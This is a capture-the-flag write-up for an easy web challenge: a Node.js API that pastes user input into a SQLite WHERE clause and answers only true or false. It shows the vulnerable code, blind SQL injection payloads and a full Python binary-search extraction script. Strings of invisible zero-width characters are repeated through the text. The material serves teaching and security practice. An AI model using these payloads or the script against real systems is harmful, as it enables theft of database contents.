← Back to Writeups
CUSTOMEasyWeb

Слепая инъекция (Blind Injection)

XESXOR9/2/20264 min read
#web#custom#easy#binary_search_extraction#boolean_blind_sqli#direct_where_injection#sqlite_unicode_substr

Слепая инъекция (Blind Injection)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, boolean_blind_sqli, direct_where_injection, sqlite_unicode_substr

Summary

Walkthrough of the CUSTOM Web Слепая инъекция (Blind Injection). Task: Node.js API injects user input directly into SQL WHERE clause, returning boolean true/false. Solution: boolean-based blind SQLi with binary search using unicode(substr()) to extract flag charact

Description

Флаг находится в таблице БД, но запрос к ней может ответить только false или true.

English summary: A Node.js/Express API endpoint /check?number= takes user input and concatenates it directly into a SQL WHERE clause. The response is a boolean oracle — {"success": true} when the query returns rows, {"success": false} otherwise. The goal is to extract the flag from the flag table using blind SQL injection.

Analysis

The provided source code (api.js) reveals the vulnerability immediately: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

js
app.get('/check', (req, res) => {
  const { number } = req.query;
  const query = `SELECT count(*) as count FROM flag WHERE ${number}`;

  db.get(query, (err, row) => {
    if (err) {
      return res.json({ success: false });
    }
    
    const hasRecords = row && row.count > 0;
    res.json({ success: hasRecords ? true : false });
  });
});

Key observations:

  1. Direct concatenation — the number parameter is placed directly into the WHERE clause with no sanitization, no parameterized queries, no escaping.
  2. Boolean oracle — the response is strictly true (count > 0) or false (count = 0 or error), making this a classic boolean-based blind SQLi.
  3. No quotes needed — since the injection point is the entire WHERE clause (not inside a string literal), no quote escaping is necessary.
  4. SQLite backend — Node.js db.get() with SQLite means we must use SQLite-specific functions (unicode() instead of ASCII()).
  5. Error = false — SQL errors also return {"success": false}, so we can't distinguish errors from false conditions, but this doesn't matter for boolean extraction. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Oracle confirmation:

  • ?number=1=1 → {"success": true} (TRUE condition, flag table has rows)
  • ?number=1=0 → {"success": false} (FALSE condition, count = 0)

Solution

Step 1: Identify table and column names

The table name flag is visible in the source code. The column name was discovered by testing common names with subqueries:

?number=unicode(substr((SELECT flag FROM flag LIMIT 1),1,1)) > 0  → true  ✓
?number=unicode(substr((SELECT value FROM flag LIMIT 1),1,1)) > 0 → false ✗

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The column is also named flag.

Step 2: Extract flag length via binary search

?number=length((SELECT flag FROM flag LIMIT 1)) >= 36  → true
?number=length((SELECT flag FROM flag LIMIT 1)) >= 37  → false

Flag length: 36 characters.

Step 3: Extract flag character by character

For each position pos (1 to 36), binary search over ASCII range [32, 126]:

?number=unicode(substr((SELECT flag FROM flag LIMIT 1),{pos},1)) > {mid}

Each character requires ~7 requests (log2(94) ≈ 6.6), so ~252 requests total. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solve Script

python
#!/usr/bin/env python3
"""Fast blind SQLi flag extraction with binary search"""

import requests
import sys

BASE_URL = "https://blind-injection.t1.bug-makers.ru/check"
QUERY = "SELECT flag FROM flag LIMIT 1"

session = requests.Session()

def check(cond):
    try:
        r = session.get(BASE_URL, params={"number": cond}, timeout=15)
        return r.json().get("success", False)
    except:
        return None

def extract_length():
    low, high = 0, 200
    while low < high:
        mid = (low + high + 1) // 2
        if check(f"length(({QUERY})) >= {mid}"):
            low = mid
        else:
            high = mid - 1
    return low
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def extract_char(pos):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        r = check(f"unicode(substr(({QUERY}),{pos},1)) > {mid}")
        if r is None:
            return '?'
        if r:
            low = mid + 1
        else:
            high = mid
    return chr(low)

def main():
    print("[*] Getting flag length...")
    length = extract_length()
    print(f"[+] Flag length: {length}")

    result = ['?'] * length
    for i in range(1, length + 1):
        c = extract_char(i)
        result[i-1] = c
        flag_so_far = ''.join(result[:i])
        print(f"  [{i}/{length}] {flag_so_far}", flush=True)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    flag = ''.join(result)
    print(f"\n[+] FLAG: {flag}")

if __name__ == "__main__":
    main()

What didn't work

  • Schema extraction first — extracting the full schema via sqlite_master worked but was very slow (153+ characters to extract). Guessing common column names (flag, value, text, etc.) was much faster.
  • ASCII() function — does not exist in SQLite. Must use unicode() instead for character ordinal values. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering binary_search_extraction, boolean_blind_sqli, direct_where_injection, sqlite_unicode_substr was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-25 • CUSTOM • Слепая инъекция (Blind Injection) • Difficulty: Easy